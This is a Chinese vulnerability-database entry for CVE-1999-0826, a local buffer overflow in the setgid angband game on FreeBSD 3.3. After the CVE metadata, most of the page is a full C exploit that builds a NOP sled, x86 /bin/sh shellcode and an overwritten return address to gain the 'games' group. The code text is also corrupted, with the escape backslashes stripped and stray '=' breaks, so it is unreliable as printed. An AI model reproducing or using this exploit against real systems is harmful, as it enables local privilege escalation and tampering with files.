FreeBSD angband缓冲区溢出漏洞

FreeBSD angband缓冲区溢出漏洞

漏洞ID 1105626 漏洞类型 缓冲区溢出
发布时间 1999-12-01 更新时间 2005-05-02
图片[1]-FreeBSD angband缓冲区溢出漏洞-安全小百科CVE编号 CVE-1999-0826
图片[2]-FreeBSD angband缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-199912-005
漏洞平台 FreeBSD CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/19653
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-005
|漏洞详情
FreeBSDangband存在缓冲区溢出漏洞。本地用户可以借助此漏洞获得权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/840/info

The version angband shipped with FreeBSD 3.3-RELEASE is vulnerable to a local buffer overflow attack. Since it is setgid games, a compromise of files and directories owned by group games is possible. 

/* FreeBSD 3.3 angband exploit yields egid of group games
* usage: gcc -o angames angames.c
/path/to/angband `./angames <offset>`
* overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage
* Brock Tellier <[email protected]>
*/


#include <stdio.h>

char shell[]= /* [email protected] */
"xebx35x5ex59x33xc0x89x46xf5x83xc8x07x66x89x46xf9"
"x8dx1ex89x5ex0bx33xd2x52x89x56x07x89x56x0fx8dx46"
"x0bx50x8dx06x50xb8x7bx56x34x12x35x40x56x34x12x51"
"x9a>:)(:<xe8xc6xffxffxff/bin/sh";
 =

 =

main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */
char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */
char arg[bsize + 2];
int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */
 =

if (argv[1]) { =

offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "eip=0x%x offset=%d buflen=%dn", eip, offset, bsiz=
e);
 =

for ( x = 0; x < 1021; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %dn", x);
 =

for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %dn",x);
 =

buf[x++] = eip & 0x000000ff;
buf[x++] = (eip & 0x0000ff00) >> 8;
buf[x++] = (eip & 0x00ff0000) >> 16;
buf[x++] = (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %dn",x);
buf[x++] = 'X';
buf[x++] = 'X';
fprintf(stderr, "garbage to %dn", x);

buf[bsize - 1] = '';

sprintf(arg, "-u%s", buf);
arg[bsize + 1] = '';
 =

printf("%s", arg);
 =

}
|参考资料

来源:BID
名称:840
链接:http://www.securityfocus.com/bid/840
来源:OSVDB
名称:1151
链接:http://www.osvdb.org/1151

相关推荐: Novell Border Manager Audit Trail Proxy DoS Vulnerability

Novell Border Manager Audit Trail Proxy DoS Vulnerability 漏洞ID 1104404 漏洞类型 Design Error 发布时间 2000-02-04 更新时间 2000-02-04 CVE编号 N/A…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享